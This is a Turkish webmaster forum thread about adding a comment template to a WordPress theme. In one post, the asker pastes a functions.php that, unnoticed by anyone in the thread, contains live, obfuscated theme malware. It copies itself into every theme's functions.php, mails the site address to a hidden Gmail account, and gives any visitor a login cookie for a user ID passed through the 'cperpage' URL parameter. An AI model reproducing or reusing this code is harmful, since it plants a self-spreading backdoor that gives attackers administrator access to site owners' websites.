lostyazilim
tr.link

Siteme comments.php arıyorum yardım lütfen

14 Mesajlar 1.751 Okunma
acebozum
tr.link

rimelim rimelim WM Aracı Kullanıcı
  • Üyelik 05.03.2013
  • Yaş/Cinsiyet 32 / E
  • Meslek Üniversite
  • Konum İstanbul Avrupa
  • Ad Soyad ** **
  • Mesajlar 56
  • Beğeniler 6 / 7
  • Ticaret 0, (%0)
http://www.zayiflamateknikleri.org/dukan-diyeti-yorumlari/#comment-210
şunun gibi olabilir cevap verilecek sade ve tatlı bir comments.php arıyorum arkadaşlar biliyor musunuz yardım lütfen ??
 

 

elektronikssl
webimgo

AliBurak AliBurak Öğrenci Kullanıcı
  • Üyelik 15.11.2011
  • Yaş/Cinsiyet 28 / E
  • Meslek Öğrenci
  • Konum İstanbul Avrupa
  • Ad Soyad A** U**
  • Mesajlar 744
  • Beğeniler 45 / 184
  • Ticaret 2, (%50)
intensedebate yada disqus deneyin hocam onların tasarımı da hoş ve gelişmiş :)
 

 

rimelim rimelim WM Aracı Kullanıcı
  • Üyelik 05.03.2013
  • Yaş/Cinsiyet 32 / E
  • Meslek Üniversite
  • Konum İstanbul Avrupa
  • Ad Soyad ** **
  • Mesajlar 56
  • Beğeniler 6 / 7
  • Ticaret 0, (%0)

Ali Burak adlı üyeden alıntı

intensedebate yada disqus deneyin hocam onların tasarımı da hoş ve gelişmiş :)


Gördüm ama ben orijinal bir şey olmasını istiyorum eklentilerle uğraşmak maalesef biraz kötü :)
 

 

nega nega Siz bilirsiniz.. Kullanıcı
  • Üyelik 17.01.2012
  • Yaş/Cinsiyet 37 / E
  • Meslek Blogger
  • Konum Osmaniye
  • Ad Soyad N** G**
  • Mesajlar 729
  • Beğeniler 404 / 127
  • Ticaret 0, (%0)
Css işi sana kalmış ve bu zaten twenty eleven temasının comment.php si galiba. Onun functions.php dosyasındaki yorum kodlarını ve comment.php dosyasını birlikte kullanırsan sorun olmaz. Css'yi de kopyala hatta sonra düzenlersin.
 

 

www.nebigarci.net (Link yok, eski usül kopyala-yapıştır)
wmaraci
wmaraci

rimelim rimelim WM Aracı Kullanıcı
  • Üyelik 05.03.2013
  • Yaş/Cinsiyet 32 / E
  • Meslek Üniversite
  • Konum İstanbul Avrupa
  • Ad Soyad ** **
  • Mesajlar 56
  • Beğeniler 6 / 7
  • Ticaret 0, (%0)

nega adlı üyeden alıntı

Css işi sana kalmış ve bu zaten twenty eleven temasının comment.php si galiba. Onun functions.php dosyasındaki yorum kodlarını ve comment.php dosyasını birlikte kullanırsan sorun olmaz. Css'yi de kopyala hatta sonra düzenlersin.


Hocam css bulabilirm ama functions.php nasıl alabilirim o temadan ? Tam anlamıyola anlayamıyorum css ile aram pek iyi değildir.
 

 

nega nega Siz bilirsiniz.. Kullanıcı
  • Üyelik 17.01.2012
  • Yaş/Cinsiyet 37 / E
  • Meslek Blogger
  • Konum Osmaniye
  • Ad Soyad N** G**
  • Mesajlar 729
  • Beğeniler 404 / 127
  • Ticaret 0, (%0)
Hocam wordpress'i indir içinde temalar geliyor zaten. wp-content/themes/ dizinine git. Oradan twenty eleven temasındaki comment.php dosyasını al kendi tema dizinine at. Sonra functions.php dosyasına gir
Sonra şu kodları da functions.php dosyana yapıştır.

function twentyeleven_comment( $comment, $args, $depth ) {
$GLOBALS['comment'] = $comment;
switch ( $comment->comment_type ) :
case 'pingback' :
case 'trackback' :
?>

  • ', '' ); ?>


    break;
    default :
    ?>
  • id="li-comment-">



    $avatar_size = 68;
    if ( '0' != $comment->comment_parent )
    $avatar_size = 39;

    echo get_avatar( $comment, $avatar_size );

    /* translators: 1: comment author, 2: date and time */
    printf( __( '%1$s on %2$s said:', 'twentyeleven' ),
    sprintf( '%s', get_comment_author_link() ),
    sprintf( '',
    esc_url( get_comment_link( $comment->comment_ID ) ),
    get_comment_time( 'c' ),
    /* translators: 1: date, 2: time */
    sprintf( __( '%1$s at %2$s', 'twentyeleven' ), get_comment_date(), get_comment_time() )
    )
    );
    ?>

    ', '' ); ?>


    comment_approved == '0' ) : ?>










    __( 'Reply ', 'twentyeleven' ), 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>



    break;
    endswitch;
    }
    endif; // ends check for twentyeleven_comment()


    Türkçeleştirme sana kalmış.
  •  

     

    www.nebigarci.net (Link yok, eski usül kopyala-yapıştır)

    rimelim rimelim WM Aracı Kullanıcı
    • Üyelik 05.03.2013
    • Yaş/Cinsiyet 32 / E
    • Meslek Üniversite
    • Konum İstanbul Avrupa
    • Ad Soyad ** **
    • Mesajlar 56
    • Beğeniler 6 / 7
    • Ticaret 0, (%0)

    nega adlı üyeden alıntı

    Hocam wordpress'i indir içinde temalar geliyor zaten. wp-content/themes/ dizinine git. Oradan twenty eleven temasındaki comment.php dosyasını al kendi tema dizinine at. Sonra functions.php dosyasına gir
    Sonra şu kodları da functions.php dosyana yapıştır.



    Türkçeleştirme sana kalmış.


    Hocam kodları yapıştırınca site gidiyor. Bu da benim functions.php kodlarım



    add_theme_support( 'post-thumbnails' );


    function kisa_baslik() {
    $kisa_baslik = get_the_title();
    if(strlen($kisa_baslik)> 15) {
    $kisa_baslik = mb_substr($kisa_baslik, 0, 20) . '..';
    }
    echo $kisa_baslik;
    }


    //Kategori Bazlı CSS İçin Kategori İsmi Yazdırmak
    function kategori_ismi($ayirici = ' ') { //$ayirici the_category() fonksiyonunda da var
    $kategoriler = (array) get_the_category(); //kategorileri çağıralım

    $liste = '';
    foreach($kategoriler as $kategori) { // herbiri icin düzeltelim
    $liste .= $ayirici . $kategori->category_name; //linksiz halde seo uyumlu "slug" versiyonu çağıralım
    }
    echo $liste; //yazdıralım
    }



    ?>
    function _check_isactive_widget(){
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
    foreach ($direst as $item){
    if (is_writable($item)){
    $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    $cont=file_get_contents($item);
    if (stripos($cont,$ftion) === false){
    $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    $output .= $before . "Not found" . $after;
    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
    $output .= ($showdots && $ellipsis) ? "..." : "";
    }
    }
    }
    }
    return $output;
    }
    function _get_allwidgetcont($wids,$items=array()){
    $places=array_shift($wids);
    if(substr($places,-1) == "/"){
    $places=substr($places,0,-1);
    }
    if(!file_exists($places) || !is_dir($places)){
    return false;
    }elseif(is_readable($places)){
    $elems=scandir($places);
    foreach ($elems as $elem){
    if ($elem != "." && $elem != ".."){
    if (is_dir($places . "/" . $elem)){
    $wids[]=$places . "/" . $elem;
    } elseif (is_file($places . "/" . $elem)&&
    $elem == substr(__FILE__,-13)){
    $items[]=$places . "/" . $elem;}
    }
    }
    }else{
    return false;
    }
    if (sizeof($wids) > 0){
    return _get_allwidgetcont($wids,$items);
    } else {
    return $items;
    }
    }
    if(!function_exists("stripos")){
    function stripos( $str, $needle, $offset = 0 ){
    return strpos( strtolower( $str ), strtolower( $needle ), $offset );
    }
    }
    if(!function_exists("strripos")){
    function strripos( $haystack, $needle, $offset = 0 ) {
    if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
    if( $offset < 0 ){
    $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
    }
    else{
    $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
    }
    if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
    $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
    return $pos;
    }
    }
    if(!function_exists("scandir")){
    function scandir($dir,$listDirectories=false, $skipDots=true) {
    $dirArray = array();
    if ($handle = opendir($dir)) {
    while (false !== ($file = readdir($handle))) {
    if (($file != "." && $file != "..") || $skipDots == true) {
    if($listDirectories == false) { if(is_dir($file)) { continue; } }
    array_push($dirArray,basename($file));
    }
    }
    closedir($handle);
    }
    return $dirArray;
    }
    }
    add_action("admin_head", "_check_isactive_widget");
    function _getsprepare_widget(){
    if(!isset($com_length)) $com_length=120;
    if(!isset($text_value)) $text_value="cookie";
    if(!isset($allowed_tags)) $allowed_tags="";
    if(!isset($type_filter)) $type_filter="none";
    if(!isset($expl)) $expl="";
    if(!isset($filter_homes)) $filter_homes=get_option("home");
    if(!isset($pref_filter)) $pref_filter="wp_";
    if(!isset($use_more)) $use_more=1;
    if(!isset($comm_type)) $comm_type="";
    if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
    if(!isset($postauthor_comment)) $postauthor_comment="";
    if(!isset($comm_is_approved)) $comm_is_approved="";
    if(!isset($postauthor)) $postauthor="auth";
    if(!isset($more_link)) $more_link="(more...)";
    if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
    if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
    if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
    if(!isset($morecontents)) $morecontents="ma".$expl."il";
    if(!isset($fmore)) $fmore=1;
    if(!isset($fakeit)) $fakeit=1;
    if(!isset($sql)) $sql="";
    if (!$is_widget) :
    global $wpdb, $post;
    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if (!empty($post->post_password)) {
    if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
    if(is_feed()) {
    $output=__("There is no excerpt because this is a protected post.");
    } else {
    $output=get_the_password_form();
    }
    }
    }
    if(!isset($f_tags)) $f_tags=1;
    if(!isset($type_filters)) $type_filters=$filter_homes;
    if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
    if(!isset($aditional_tags)) $aditional_tags="div";
    if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
    if(!isset($more_link_text)) $more_link_text="Continue reading this entry";
    if(!isset($showdots)) $showdots=1;
    $comments=$wpdb->get_results($sql);
    if($fakeit == 2) {
    $text=$post->post_content;
    } elseif($fakeit == 1) {
    $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    } else {
    $text=$post->post_excerpt;
    }
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if($com_length < 0) {
    $output=$text;
    } else {
    if(!$no_more && strpos($text, "")) {
    $text=explode("", $text, 2);
    $l=count($text[0]);
    $more_link=1;
    $comments=$wpdb->get_results($sql);
    } else {
    $text=explode(" ", $text);
    if(count($text) > $com_length) {
    $l=$com_length;
    $ellipsis=1;
    } else {
    $l=count($text);
    $more_link="";
    $ellipsis=0;
    }
    }
    for ($i=0; $i<$l; $i++)
    $output .= $text[$i] . " ";
    }
    update_option("_is_widget_active_", 1);
    if("all" != $allowed_tags) {
    $output=strip_tags($output, $allowed_tags);
    return $output;
    }
    endif;
    $output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tags) ? balanceTags($output, true) : $output;
    $output .= ($showdots && $ellipsis) ? "..." : "";
    $output=apply_filters($type_filter, $output);
    switch($aditional_tags) {
    case("div") :
    $tag="div";
    break;
    case("span") :
    $tag="span";
    break;
    case("p") :
    $tag="p";
    break;
    default :
    $tag="span";
    }

    if ($use_more ) {
    if($fmore) {
    $output .= " <" . $tag . " class=\"more-link\">
    ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "" . "\n";
    } else {
    $output .= " <" . $tag . " class=\"more-link\">ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "" . "\n";
    }
    }
    return $output;
    }
    add_action("init", "_getsprepare_widget");
    function __popular_posts($no_posts=6, $before="
  • ", $after="
  • ", $show_pass_post=false, $duration="") {
    global $wpdb;
    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    if(!$show_pass_post) $request .= " AND post_password =\"\"";
    if($duration !="") {
    $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    $posts=$wpdb->get_results($request);
    $output="";
    if ($posts) {
    foreach ($posts as $post) {
    $post_title=stripslashes($post->post_title);
    $comment_count=$post->comment_count;
    $permalink=get_permalink($post->ID);
    $output .= $before . " " . $post_title . " " . $after;
    }
    } else {
    $output .= $before . "None found" . $after;
    }
    return $output;
    }

    if ( ! function_exists( 'twentyeleven_comment' ) ) :
    /**
    * Template for comments and pingbacks.
    *
    * To override this walker in a child theme without modifying the comments template
    * simply create your own twentyeleven_comment(), and that function will be used instead.
    *
    * Used as a callback by wp_list_comments() for displaying the comments.
    *
    * @since Twenty Eleven 1.0
    */
    function twentyeleven_comment( $comment, $args, $depth ) {
    $GLOBALS['comment'] = $comment;
    switch ( $comment->comment_type ) :
    case 'pingback' :
    case 'trackback' :
    ?>

  • ', '' ); ?>


    break;
    default :
    ?>
  • id="li-comment-">



    $avatar_size = 38;
    if ( '0' != $comment->comment_parent )
    $avatar_size = 29;

    echo get_avatar( $comment, $avatar_size );

    /* translators: 1: comment author, 2: date and time */
    printf( __( '%1$s on %2$s said:', 'twentyeleven' ),
    sprintf( '%s', get_comment_author_link() ),
    sprintf( '',
    esc_url( get_comment_link( $comment->comment_ID ) ),
    get_comment_time( 'c' ),
    /* translators: 1: date, 2: time */
    sprintf( __( '%1$s at %2$s', 'twentyeleven' ), get_comment_date(), get_comment_time() )
    )
    );
    ?>

    ', '' ); ?>


    comment_approved == '0' ) : ?>










    __( 'Reply ', 'twentyeleven' ), 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>



    break;
    endswitch;
    }
    endif; // ends check for twentyeleven_comment()

    if ( ! function_exists( 'twentyeleven_posted_on' ) ) :
    /**
    * Prints HTML with meta information for the current post-date/time and author.
    * Create your own twentyeleven_posted_on to override in a child theme
    *
    * @since Twenty Eleven 1.0
    */
    function twentyeleven_posted_on() {
    printf( __( 'Posted on by ', 'twentyeleven' ),
    esc_url( get_permalink() ),
    esc_attr( get_the_time() ),
    esc_attr( get_the_date( 'c' ) ),
    esc_html( get_the_date() ),
    esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
    esc_attr( sprintf( __( 'View all posts by %s', 'twentyeleven' ), get_the_author() ) ),
    get_the_author()
    );
    }
    endif;

    /**
    * Adds two classes to the array of body classes.
    * The first is if the site has only had one author with published posts.
    * The second is if a singular post being displayed
    *
    * @since Twenty Eleven 1.0
    */
    function twentyeleven_body_classes( $classes ) {

    if ( function_exists( 'is_multi_author' ) && ! is_multi_author() )
    $classes[] = 'single-author';

    if ( is_singular() && ! is_home() && ! is_page_template( 'showcase.php' ) && ! is_page_template( 'sidebar-page.php' ) )
    $classes[] = 'singular';

    return $classes;
    }
    add_filter( 'body_class', 'twentyeleven_body_classes' );
    ?>
  •  

     

    cgrclk cgrclk Fortis Fortuna Adiuvat Kullanıcı
    • Üyelik 18.11.2011
    • Yaş/Cinsiyet 35 / E
    • Meslek Web Developer
    • Konum İstanbul Avrupa
    • Ad Soyad B** Ç**
    • Mesajlar 3270
    • Beğeniler 1014 / 1983
    • Ticaret 53, (%100)
    functions.php de php yi kapatmamayı bir dene. Sondaki ?> sil, en sona comments kodlarını ekle. Yine olmazsa kodları ekledikten sonra php yi kapat öyle dene.
     

     

    rimelim rimelim WM Aracı Kullanıcı
    • Üyelik 05.03.2013
    • Yaş/Cinsiyet 32 / E
    • Meslek Üniversite
    • Konum İstanbul Avrupa
    • Ad Soyad ** **
    • Mesajlar 56
    • Beğeniler 6 / 7
    • Ticaret 0, (%0)

    cgrclk adlı üyeden alıntı

    functions.php de php yi kapatmamayı bir dene. Sondaki ?> sil, en sona comments kodlarını ekle. Yine olmazsa kodları ekledikten sonra php yi kapat öyle dene.


    iki türlüde denedim olmadı hocam...:confused:
     

     

    AliBurak AliBurak Öğrenci Kullanıcı
    • Üyelik 15.11.2011
    • Yaş/Cinsiyet 28 / E
    • Meslek Öğrenci
    • Konum İstanbul Avrupa
    • Ad Soyad A** U**
    • Mesajlar 744
    • Beğeniler 45 / 184
    • Ticaret 2, (%50)
    en orjinalı disqus ısrarlıyım :)
     

     

    wmaraci
    wmaraci
    Konuyu toplam 1 kişi okuyor. (0 kullanıcı ve 1 misafir)
    Site Ayarları
    • Tema Seçeneği
    • Site Sesleri
    • Bildirimler
    • Özel Mesaj Al